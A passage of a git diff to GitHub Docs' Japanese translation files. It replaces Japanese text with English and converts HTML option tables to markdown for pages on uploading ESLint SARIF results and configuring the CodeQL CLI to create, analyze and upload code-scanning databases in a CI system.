`partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -ワークフローでは、ESLint 静的分析ツールをワークフローのステップとして実行する例を示しています。 `Run ESLint` ステップは ESLint ツールを実行して、`results.sarif` ファイルを出力します。 次に、ワークフローは `upload-sarif` アクションを使用して、`results.sarif` ファイルを {% data variables.product.prodname_dotcom %} にアップロードします。 ワークフローファイルの作成に関する詳しい情報については、「[GitHub Actions 入門](/actions/learn-github-actions/introduction-to-github-actions)」を参照してください。 +The workflow shows an example of running the ESLint static analysis tool as a step in a workflow. The `Run ESLint` step runs the ESLint tool and outputs the `results.sarif` file. The workflow then uploads the `results.sarif` file to {% data variables.product.prodname_dotcom %} using the `upload-sarif` action. For more information about creating a workflow file, see "[Introduction to GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)." ```yaml name: "ESLint analysis" -# コードがリポジトリにプッシュされるたびに、スケジュールに従ってワークフローを実行します。 -# スケジュールされたワークフローは、毎週水曜日の 15:45（UTC）に実行されます。 +# Run workflow each time code is pushed to your repository and on a schedule. +# The scheduled workflow runs every Wednesday at 15:45 UTC. on: push: schedule: @@ -133,10 +132,10 @@ jobs: sarif_file: results.sarif ``` -## 参考リンク +## Further reading -- [{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions) -- 「[ワークフローの履歴の表示](/actions/managing-workflow-runs/viewing-workflow-run-history)」{%- ifversion fpt or ghes > 3.0 or ghae-next %} -- 「[CIシステムでの{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}について](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)」{% else %} -- 「[CIシステムでの{% data variables.product.prodname_codeql_runner %}の実行](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)」{% endif %} -- 「[解析を SARIF データとしてアップロードする](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)」 +- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)" +- "[Viewing your workflow history](/actions/managing-workflow-runs/viewing-workflow-run-history)"{%- ifversion fpt or ghes > 3.0 or ghae-next %} +- "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)"{% else %} +- "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"{% endif %} +- "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)" diff --git a/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md b/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md index c7cc04e8c4..8d71a5fd2e 100644 --- a/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md +++ b/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: CIシステムでのCodeQL CLIの設定 -shortTitle: CodeQL CLIの設定 -intro: '継続的インテグレーションシステムを{% data variables.product.prodname_codeql_cli %}を実行するように設定し、{% data variables.product.prodname_codeql %}分析を行い、{% data variables.product.prodname_code_scanning %}アラートとして表示させるために結果を{% data variables.product.product_name %}にアップロードできます。' +title: Configuring CodeQL CLI in your CI system +shortTitle: Configure CodeQL CLI +intro: 'You can configure your continuous integration system to run the {% data variables.product.prodname_codeql_cli %}, perform {% data variables.product.prodname_codeql %} analysis, and upload the results to {% data variables.product.product_name %} for display as {% data variables.product.prodname_code_scanning %} alerts.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -22,39 +22,38 @@ topics: - CI - SARIF --- - {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## {% data variables.product.prodname_codeql_cli %}でのCode scanningの結果の生成について +## About generating code scanning results with {% data variables.product.prodname_codeql_cli %} -CIシステム内のサーバーで{% data variables.product.prodname_codeql_cli %}を利用できるようにして、確実に{% data variables.product.product_name %}で認証できるようにしたなら、データを生成する準備ができています。 +Once you've made the {% data variables.product.prodname_codeql_cli %} available to servers in your CI system, and ensured that they can authenticate with {% data variables.product.product_name %}, you're ready to generate data. -結果を生成して{% data variables.product.product_name %}にアップロードするには、3つの異なるコマンドを使います。 +You use three different commands to generate results and upload them to {% data variables.product.product_name %}: {% ifversion fpt or ghes > 3.1 or ghae or ghec %} -1. `database create`で、リポジトリ中のサポートされている各プログラミング言語の階層構造を表す{% data variables.product.prodname_codeql %}データベースを作成してください。 -2. `database analyze`でクエリを実行し、各{% data variables.product.prodname_codeql %}データベースを分析し、結果をSARIFファイルにまとめてください。 -3. `github upload-results`で結果のSARIFファイルを{% data variables.product.product_name %}にアップロードしてください。そこで結果はブランチもしくはPull Requestとマッチさせられ、{% data variables.product.prodname_code_scanning %}アラートとして表示されます。 +1. `database create` to create a {% data variables.product.prodname_codeql %} database to represent the hierarchical structure of each supported programming language in the repository. +2. ` database analyze` to run queries to analyze each {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file. +3. `github upload-results` to upload the resulting SARIF files to {% data variables.product.product_name %} where the results are matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. {% else %} -1. `database create`で、リポジトリ中のサポートされているプログラミング言語の階層構造を表す{% data variables.product.prodname_codeql %}データベースを作成してください。 -2. `database analyze`でクエリを実行し、{% data variables.product.prodname_codeql %}データベースを分析し、結果をSARIFファイルにまとめてください。 -3. `github upload-results`で結果のSARIFファイルを{% data variables.product.product_name %}にアップロードしてください。そこで結果はブランチもしくはPull Requestとマッチさせられ、{% data variables.product.prodname_code_scanning %}アラートとして表示されます。 +1. `database create` to create a {% data variables.product.prodname_codeql %} database to represent the hierarchical structure of a supported programming language in the repository. +2. ` database analyze` to run queries to analyze the {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file. +3. `github upload-results` to upload the resulting SARIF file to {% data variables.product.product_name %} where the results are matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. {% endif %} -以下のオプションを使って、どのコマンドでもコマンドラインヘルプを表示できます。 `--help` +You can display the command-line help for any command using the `--help` option. {% data reusables.code-scanning.upload-sarif-ghas %} -## 分析する{% data variables.product.prodname_codeql %}データベースの作成 +## Creating {% data variables.product.prodname_codeql %} databases to analyze -1. 分析したいコードをチェックアウトしてください: - - ブランチの場合は、分析したいブランチのheadをチェックアウトしてください。 - - Pull Requestの場合は、Pull Requestのheadコミットをチェックアウトするか、{% data variables.product.prodname_dotcom %}が生成したPull Requestのマージコミットをチェックアウトしてください。 -2. コードベースの環境をセットアップし、すべての依存関係が利用できるようにしてください。 詳しい情報については、{% data variables.product.prodname_codeql_cli %}のドキュメンテーション中の[非コンパイル言語のデータベースの作成](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-non-compiled-languages)及び[コンパイル言語のデータベースの作成](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-compiled-languages)を参照してください。 -3. コードベースのビルドコマンドがあれば、それを見つけてください。 通常これはCIシステムの設定ファイルにあります。 -4. リポジトリのチェックアウトのルートから`codeql database create`を実行し、コードベースをビルドしてください。 +1. Check out the code that you want to analyze: + - For a branch, check out the head of the branch that you want to analyze. + - For a pull request, check out either the head commit of the pull request, or check out a {% data variables.product.prodname_dotcom %}-generated merge commit of the pull request. +2. Set up the environment for the codebase, making sure that any dependencies are available. For more information, see [Creating databases for non-compiled languages](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-non-compiled-languages) and [Creating databases for compiled languages](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-compiled-languages) in the documentation for the {% data variables.product.prodname_codeql_cli %}. +3. Find the build command, if any, for the codebase. Typically this is available in a configuration file in the CI system. +4. Run `codeql database create` from the checkout root of your repository and build the codebase. {% ifversion fpt or ghes > 3.1 or ghae or ghec %} ```shell # Single supported language - create one CodeQL databsae @@ -71,147 +70,24 @@ CIシステム内のサーバーで{% data variables.product.prodname_codeql_cli {% endif %} {% note %} - **ノート:** コンテナ化されたビルドを使っているなら、ビルドのタスクが行われるコンテナ中で{% data variables.product.prodname_codeql_cli %}を実行しなければなりません。 + **Note:** If you use a containerized build, you need to run the {% data variables.product.prodname_codeql_cli %} inside the container where your build task takes place. {% endnote %} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                    - Option - - 必須 - - 使い方 -
                    - <database> - - {% octicon "check-circle-fill" aria-label="Required" %} - - {% data variables.product.prodname_codeql %}データベースを作成するディレクトリの名前と場所を指定します。 既存のディレクトリを上書きしようとすると、コマンドは失敗します。 --db-clusterも指定した場合、これは親ディレクトリになり、分析する言語ごとにサブディレクトリが作られます。 -
                    - `--language` - - {% octicon "check-circle-fill" aria-label="Required" %} - - データベースを作成する言語の識別子を指定します。{% data reusables.code-scanning.codeql-languages-keywords %}のいずれかです（TypeScriptのコードを分析するときはjavascriptを使ってください）。 -
                    - {% ifversion fpt or ghes > 3.1 or ghae or ghec %} `--db-cluster`とともに使われると、このオプションはカンマ区切りのリストを取るか、複数回指定できます。{% endif %} - - -
                    - `--command` - - - 推奨されます。 コードベースのビルドプロセスを呼び出すビルドコマンドもしくはスクリプトを指定するために使います。 コマンドは現在のフォルダ、もしくは定義されている場合は `--source-root`. Python及びJavaScript/TypeScriptの分析では不要です。 -
                    - {% ifversion fpt or ghes > 3.1 or ghae or ghec %} - - -
                    - `--db-cluster`とともに使われると、 - - - オプション。 複数言語のコードベースを使って、 `--language`. -
                    - `--no-run-unnecessary-builds` - - - 推奨されます。 {% data variables.product.prodname_codeql_cli %}がビルドをモニターする必要がない場合に、言語のビルドコマンドを抑制するために使います（たとえばPythonやJavaScript/TypeScript）。 -
                    - {% endif %} - - -
                    - `--source-root` - - - オプション。 CLIをリポジトリのチェックアウトルート外で実行する場合に使います。 デフォルトでは、database createコマンドは現在のディレクトリがソースファイルのルートディレクトリであると推定します。別の場所を指定する場合はこのオプションを使ってください。 -
                    +| Option | Required | Usage | +|--------|:--------:|-----| +| `` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the name and location of a directory to create for the {% data variables.product.prodname_codeql %} database. The command will fail if you try to overwrite an existing directory. If you also specify `--db-cluster`, this is the parent directory and a subdirectory is created for each language analyzed.| +| `--language` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the identifier for the language to create a database for, one of: `{% data reusables.code-scanning.codeql-languages-keywords %}` (use `javascript` to analyze TypeScript code). {% ifversion fpt or ghes > 3.1 or ghae or ghec %}When used with `--db-cluster`, the option accepts a comma-separated list, or can be specified more than once.{% endif %} +| `--command` | | Recommended. Use to specify the build command or script that invokes the build process for the codebase. Commands are run from the current folder or, where it is defined, from `--source-root`. Not needed for Python and JavaScript/TypeScript analysis. | {% ifversion fpt or ghes > 3.1 or ghae or ghec %} +| `--db-cluster` | | Optional. Use in multi-language codebases to generate one database for each language specified by `--language`. +| `--no-run-unnecessary-builds` | | Recommended. Use to suppress the build command for languages where the {% data variables.product.prodname_codeql_cli %} does not need to monitor the build (for example, Python and JavaScript/TypeScript). {% endif %} +| `--source-root` | | Optional. Use if you run the CLI outside the checkout root of the repository. By default, the `database create` command assumes that the current directory is the root directory for the source files, use this option to specify a different location. | -詳しい情報については{% data variables.product.prodname_codeql_cli %}のドキュメンテーション中の[{% data variables.product.prodname_codeql %}データベースの作成](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/)を参照してください。 +For more information, see [Creating {% data variables.product.prodname_codeql %} databases](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. -### {% ifversion fpt or ghes > 3.1 or ghae or ghec %}単一言語の例{% else %}基本の例{% endif %} +### {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Single language example{% else %}Basic example{% endif %} -この例は、`/checkouts/example-repo`にチェックアウトされたリポジトリの{% data variables.product.prodname_codeql %}データベースを作成します。 これはJavaScript extractorを使い、リポジトリ中のJavaScriptとTypeScriptコードの階層表現を作成します。 結果のデータベースは`/codeql-dbs/example-repo`に保存されます。 +This example creates a {% data variables.product.prodname_codeql %} database for the repository checked out at `/checkouts/example-repo`. It uses the JavaScript extractor to create a hierarchical representation of the JavaScript and TypeScript code in the repository. The resulting database is stored in `/codeql-dbs/example-repo`. ``` $ codeql database create /codeql-dbs/example-repo --language=javascript \ @@ -228,16 +104,16 @@ $ codeql database create /codeql-dbs/example-repo --language=javascript \ ``` {% ifversion fpt or ghes > 3.1 or ghae or ghec %} -### 複数言語の例 +### Multiple language example -この例は、`/checkouts/example-repo-multi`にチェックアウトされたリポジトリの2つの{% data variables.product.prodname_codeql %}データベースを作成します。 これは以下を使用します。 +This example creates two {% data variables.product.prodname_codeql %} databases for the repository checked out at `/checkouts/example-repo-multi`. It uses: -- `--db-cluster`で複数の言語の分析をリクエストします。 -- `--language`でデータベースを作成する言語を指定します。 -- `--command`でコードベースのビルドコマンドをツールに知らせます。ここでは`make`です。 -- `--no-run-unnecessary-builds`で不要な場合に言語のビルドコマンドをスキップするようツールに伝えます（たとえばPython）。 +- `--db-cluster` to request analysis of more than one language. +- `--language` to specify which languages to create databases for. +- `--command` to tell the tool the build command for the codebase, here `make`. +- `--no-run-unnecessary-builds` to tell the tool to skip the build command for languages where it is not needed (like Python). -結果のデータベースは、`/codeql-dbs/example-repo-multi`のサブディレクトリの`python`及び`cpp`に保存されます。 +The resulting databases are stored in `python` and `cpp` subdirectories of `/codeql-dbs/example-repo-multi`. ``` $ codeql database create /codeql-dbs/example-repo-multi \ @@ -260,7 +136,7 @@ $ ``` {% endif %} -## {% data variables.product.prodname_codeql %}データベースの分析 +## Analyzing a {% data variables.product.prodname_codeql %} database 1. Create a {% data variables.product.prodname_codeql %} database (see above).{% if codeql-packs %} 2. Optional, run `codeql pack download` to download any {% data variables.product.prodname_codeql %} packs (beta) that you want to run during analysis. For more information, see "[Downloading and using {% data variables.product.prodname_codeql %} query packs](#downloading-and-using-codeql-query-packs)" below. @@ -277,7 +153,7 @@ $ {% ifversion fpt or ghes > 3.1 or ghae or ghec %} {% note %} -**ノート:** 1つのコミットに対して複数の{% data variables.product.prodname_codeql %}データベースを分析する場合、このコマンドが生成するそれぞれの結果セットに対してSARIFカテゴリを指定しなければなりません。 結果を{% data variables.product.product_name %}にアップロードする際には、{% data variables.product.prodname_code_scanning %}はこのカテゴリを使ってそれぞれの言語に対する結果を別々に保存します。 これを忘れると、それぞれのアップロードが以前の結果を上書きしてしまいます。 +**Note:** If you analyze more than one {% data variables.product.prodname_codeql %} database for a single commit, you must specify a SARIF category for each set of results generated by this command. When you upload the results to {% data variables.product.product_name %}, {% data variables.product.prodname_code_scanning %} uses this category to store the results for each language separately. If you forget to do this, each upload overwrites the previous results. ```shell codeql database analyze <database> --format=<format> \ @@ -285,137 +161,26 @@ codeql database analyze <database> --format=<format> \ {% if codeql-packs %}<packs,queries>{% else %}<queries>{% endif %} ``` {% endnote %} - {% endif %} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                    - Option - - 必須 - - 使い方 -
                    - <database> - - {% octicon "check-circle-fill" aria-label="Required" %} - - 分析する{% data variables.product.prodname_codeql %}データベースを含むディレクトリのパスを指定します。 -
                    - <packs,queries> - - - Specify {% data variables.product.prodname_codeql %} packs or queries to run. To run the standard queries used for {% data variables.product.prodname_code_scanning %}, omit this parameter. {% data variables.product.prodname_codeql_cli %}バンドル内に含まれている他のクエリスイートを見るには、/<extraction-root>/codeql/qlpacks/codeql-<language>/codeql-suitesを見てください。 独自のクエリスイートの作成に関する情報については、{% data variables.product.prodname_codeql_cli %}のドキュメンテーション中のCodeQLクエリスイートの作成を参照してください。 -
                    - `--format` - - {% octicon "check-circle-fill" aria-label="Required" %} - - コマンドが生成する結果ファイルのフォーマットを指定します。 {% data variables.product.company_short %}へアップロードする場合、これは{% ifversion fpt or ghae or ghec %}sarif-latest{% else %}sarifv2.1.0{% endif %}とすべきです。 詳しい情報については「{% data variables.product.prodname_code_scanning %}の SARIF サポート」を参照してください。 -
                    - `--output` - - {% octicon "check-circle-fill" aria-label="Required" %} - - SARIF結果ファイルを保存する場所を指定します。{% ifversion fpt or ghes > 3.1 or ghae or ghec %} -
                    - --sarif-category - - {% octicon "question" aria-label="Required with multiple results sets" %} - - 単一データベース分析のオプション。 リポジトリ中の単一のコミットに対する複数のデータベースを分析する際に、言語を定義するために必要。 この分析でSARIF結果ファイルに含めるカテゴリを指定してください。 A category is used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code.|{% endif %}{% if codeql-packs %} -
                    - <packs> - - - オプション。 Use if you have downloaded CodeQL query packs and want to run the default queries or query suites specified in the packs. For more information, see "Downloading and using {% data variables.product.prodname_codeql %} packs."{% endif %} -
                    - `--threads` - - - オプション。 クエリを実行するのに複数のスレッドを使いたいときに使用します。 デフォルト値は1です。 クエリの実行を高速化するためにより多くのスレッドを指定できます。 スレッド数を論理プロセッサ数に設定するには0を指定してください。 -
                    - `--verbose` - - - オプション。 分析のプロセス{% ifversion fpt or ghes > 3.1 or ghae or ghec %}とデータベース作成プロセスからの診断データ{% endif %}に関する詳細な情報を得るために使用します。 -
                    -詳しい情報については、{% data variables.product.prodname_codeql_cli %}のドキュメンテーション中の[{% data variables.product.prodname_codeql_cli %}でのデータベースの分析](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/)を参照してください。 +| Option | Required | Usage | +|--------|:--------:|-----| +| `` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the path for the directory that contains the {% data variables.product.prodname_codeql %} database to analyze. | +| `` | | Specify {% data variables.product.prodname_codeql %} packs or queries to run. To run the standard queries used for {% data variables.product.prodname_code_scanning %}, omit this parameter. To see the other query suites included in the {% data variables.product.prodname_codeql_cli %} bundle, look in `//codeql/qlpacks/codeql-/codeql-suites`. For information about creating your own query suite, see [Creating CodeQL query suites](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. +| `--format` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the format for the results file generated by the command. For upload to {% data variables.product.company_short %} this should be: {% ifversion fpt or ghae or ghec %}`sarif-latest`{% else %}`sarifv2.1.0`{% endif %}. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)." +| `--output` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify where to save the SARIF results file.{% ifversion fpt or ghes > 3.1 or ghae or ghec %} +| `--sarif-category` | {% octicon "question" aria-label="Required with multiple results sets" %} | Optional for single database analysis. Required to define the language when you analyze multiple databases for a single commit in a repository. Specify a category to include in the SARIF results file for this analysis. A category is used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code.|{% endif %}{% ifversion fpt or ghes > 3.3 or ghae or ghec %} +| `--sarif-add-query-help` | | Optional. Use if you want to include any available markdown-rendered query help for custom queries used in your analysis. Any query help for custom queries included in the SARIF output will be displayed in the code scanning UI if the relevant query generates an alert. For more information, see [Analyzing databases with the {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/#including-query-help-for-custom-codeql-queries-in-sarif-files) in the documentation for the {% data variables.product.prodname_codeql_cli %}.{% endif %}{% if codeql-packs %} +| `` | | Optional. Use if you have downloaded CodeQL query packs and want to run the default queries or query suites specified in the packs. For more information, see "[Downloading and using {% data variables.product.prodname_codeql %} packs](#downloading-and-using-codeql-query-packs)."{% endif %} +| `--threads` | | Optional. Use if you want to use more than one thread to run queries. The default value is `1`. You can specify more threads to speed up query execution. To set the number of threads to the number of logical processors, specify `0`. +| `--verbose` | | Optional. Use to get more detailed information about the analysis process{% ifversion fpt or ghes > 3.1 or ghae or ghec %} and diagnostic data from the database creation process{% endif %}. -### 基本的な例 -この例は`/codeql-dbs/example-repo`に保存された{% data variables.product.prodname_codeql %}データベースを分析し、結果を`/temp/example-repo-js.sarif`というSARIFファイルに保存します。 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ここでは`--sarif-category`を使って結果をJavaScriptとして識別する追加情報をSARIFファイルに含めます。 これは、リポジトリ中の単一のコミットに対して分析する{% data variables.product.prodname_codeql %}データベースが複数ある場合に不可欠です。{% endif %} +For more information, see [Analyzing databases with the {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. + +### Basic example + +This example analyzes a {% data variables.product.prodname_codeql %} database stored at `/codeql-dbs/example-repo` and saves the results as a SARIF file: `/temp/example-repo-js.sarif`. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}It uses `--sarif-category` to include extra information in the SARIF file that identifies the results as JavaScript. This is essential when you have more than one {% data variables.product.prodname_codeql %} database to analyze for a single commit in a repository.{% endif %} ``` $ codeql database analyze /codeql-dbs/example-repo \ @@ -430,16 +195,16 @@ $ codeql database analyze /codeql-dbs/example-repo \ > Interpreting results. ``` -## {% data variables.product.product_name %}への結果のアップロード +## Uploading results to {% data variables.product.product_name %} {% data reusables.code-scanning.upload-sarif-alert-limit %} -結果を{% data variables.product.product_name %}にアップロードする前に、{% data variables.product.prodname_github_app %}もしくは以前に作成した個人アクセストークンを{% data variables.product.prodname_codeql_cli %}に渡す最善の方法を決めなければなりません（[CIシステムへの{% data variables.product.prodname_codeql_cli %}のインストール](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system#generating-a-token-for-authentication-with-github)参照）。 シークレットストアの安全な使用については、CIシステムのガイダンスを確認することをおすすめします。 {% data variables.product.prodname_codeql_cli %}は以下をサポートします。 +Before you can upload results to {% data variables.product.product_name %}, you must determine the best way to pass the {% data variables.product.prodname_github_app %} or personal access token you created earlier to the {% data variables.product.prodname_codeql_cli %} (see [Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system#generating-a-token-for-authentication-with-github)). We recommend that you review your CI system's guidance on the secure use of a secret store. The {% data variables.product.prodname_codeql_cli %} supports: -- `--github-auth-stdin`オプションを使い、標準入力からCLIにトークンを渡す（推奨）。 -- シークレットを環境変数`GITHUB_TOKEN` に保存し、`--github-auth-stdin`オプションを含めずにCLIを実行する。 +- Passing the token to the CLI via standard input using the `--github-auth-stdin` option (recommended). +- Saving the secret in the environment variable `GITHUB_TOKEN` and running the CLI without including the `--github-auth-stdin` option. -使っているCIサーバーで最も安全で信頼できる方法を決めたなら、各SARIF結果ファイルに対して`codeql github upload-results`を実行し、環境変数の`GITHUB_TOKEN`でトークンが利用できないのであれば`--github-auth-stdin`を含めておいてください。 +When you have decided on the most secure and reliable method for your CI server, run `codeql github upload-results` on each SARIF results file and include `--github-auth-stdin` unless the token is available in the environment variable `GITHUB_TOKEN`. ```shell echo "$UPLOAD_TOKEN" | codeql github upload-results --repository=<repository-name> \ @@ -447,110 +212,20 @@ $ codeql database analyze /codeql-dbs/example-repo \ {% ifversion ghes > 3.0 or ghae %}--github-url=<URL> {% endif %}--github-auth-stdin ``` - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                    - Option - - 必須 - - 使い方 -
                    - `--repository` - - {% octicon "check-circle-fill" aria-label="Required" %} - - データをアップロードするリポジトリのOWNER/NAMEを指定します。 {% ifversion fpt or ghec %}リポジトリがパブリックでなければ、{% endif %}オーナーは{% data variables.product.prodname_GH_advanced_security %}のライセンスを持つEnterprise内のOrganizationでなければならず、{% data variables.product.prodname_GH_advanced_security %}はリポジトリで有効化されていなければなりません。 詳しい情報については「リポジトリのセキュリティ及び分析の設定の管理」を参照してください。 -
                    - `--ref` - - {% octicon "check-circle-fill" aria-label="Required" %} - - チェックアウトして分析したrefの名前を指定して、結果が正しいコードとマッチできるようにします。 ブランチではrefs/heads/BRANCH-NAMEを、Pull Requestのheadコミットではrefs/pulls/NUMBER/headを、Pull Requestに対して{% data variables.product.prodname_dotcom %}が生成したマージコミットではrefs/pulls/NUMBER/mergeを使ってください。 -
                    - `--commit` - - {% octicon "check-circle-fill" aria-label="Required" %} - - 分析したコミットの完全なSHAを指定してください。 -
                    - `--sarif` - - {% octicon "check-circle-fill" aria-label="Required" %} - - ロードするSARIFファイルを指定してください。{% ifversion ghes > 3.0 or ghae %} -
                    - `--github-url` - - {% octicon "check-circle-fill" aria-label="Required" %} - - {% data variables.product.product_name %}のURLを指定してください。{% endif %} -
                    - `--github-auth-stdin` - - - オプション。 {% data variables.product.prodname_github_app %}もしくは{% data variables.product.company_short %}のREST APIの認証のために作成された個人アクセストークンを標準入力経由でCLIに渡すために使います。 このトークンが設定された環境変数GITHUB_TOKENにコマンドがアクセスできる場合、これは必要ありません。 -
                    +| Option | Required | Usage | +|--------|:--------:|-----| +| `--repository` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the *OWNER/NAME* of the repository to upload data to. The owner must be an organization within an enterprise that has a license for {% data variables.product.prodname_GH_advanced_security %} and {% data variables.product.prodname_GH_advanced_security %} must be enabled for the repository{% ifversion fpt or ghec %}, unless the repository is public{% endif %}. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." +| `--ref` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the name of the `ref` you checked out and analyzed so that the results can be matched to the correct code. For a branch use: `refs/heads/BRANCH-NAME`, for the head commit of a pull request use `refs/pulls/NUMBER/head`, or for the {% data variables.product.prodname_dotcom %}-generated merge commit of a pull request use `refs/pulls/NUMBER/merge`. +| `--commit` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the full SHA of the commit you analyzed. +| `--sarif` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the SARIF file to load.{% ifversion ghes > 3.0 or ghae %} +| `--github-url` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the URL for {% data variables.product.product_name %}.{% endif %} +| `--github-auth-stdin` | | Optional. Use to pass the CLI the {% data variables.product.prodname_github_app %} or personal access token created for authentication with {% data variables.product.company_short %}'s REST API via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token. -詳しい情報については、{% data variables.product.prodname_codeql_cli %}のドキュメンテーション中の[github upload-results](https://codeql.github.com/docs/codeql-cli/manual/github-upload-results/)を参照してください。 +For more information, see [github upload-results](https://codeql.github.com/docs/codeql-cli/manual/github-upload-results/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. -### 基本的な例 +### Basic example -この例は、`temp/example-repo-js.sarif`というSARIFファイルからの結果を`my-org/example-repo`というリポジトリにアップロードします。 {% data variables.product.prodname_code_scanning %} APIには、この結果が`main`ブランチのコミット`deb275d2d5fe9a522a0b7bd8b6b6a1c939552718`に対するものであることを伝えます。 +This example uploads results from the SARIF file `temp/example-repo-js.sarif` to the repository `my-org/example-repo`. It tells the {% data variables.product.prodname_code_scanning %} API that the results are for the commit `deb275d2d5fe9a522a0b7bd8b6b6a1c939552718` on the `main` branch. ``` $ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-repo \ @@ -559,7 +234,7 @@ $ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example- {% endif %}--github-auth-stdin ``` -アップロードが失敗しなければ、このコマンドからの出力はありません。 コマンドプロンプトは、アップロードが完了してデータ処理が開始された時点で戻ってきます。 小さなコードベースでは、すぐ後に{% data variables.product.product_name %}中の{% data variables.product.prodname_code_scanning %}アラートを調べることができるでしょう。 チェックアウトしたコードによって、Pull Request中で直接、あるいはブランチの**Security（セキュリティ）**タブ上でアラートを見ることができます。 詳しい応報については「[Pull Requestの{% data variables.product.prodname_code_scanning %}アラートのトリアージ](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)」及び「[リポジトリの{% data variables.product.prodname_code_scanning %}アラートの管理](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)」を参照してください。 +There is no output from this command unless the upload was unsuccessful. The command prompt returns when the upload is complete and data processing has begun. On smaller codebases, you should be able to explore the {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.product_name %} shortly afterward. You can see alerts directly in the pull request or on the **Security** tab for branches, depending on the code you checked out. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)" and "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." {% if codeql-packs %} ## Downloading and using {% data variables.product.prodname_codeql %} query packs @@ -574,52 +249,14 @@ Before you can use a {% data variables.product.prodname_codeql %} pack to analyz codeql pack download <scope/name@version>,... ``` - - - - - - - - - - - - - - - - - - - - - - - - -
                    - Option - - 必須 - - 使い方 -
                    - `` - - {% octicon "check-circle-fill" aria-label="Required" %} - - Specify the scope and name of one or more CodeQL query packs to download using a comma-separated list. Optionally, include the version to download and unzip. By default the latest version of this pack is downloaded. -
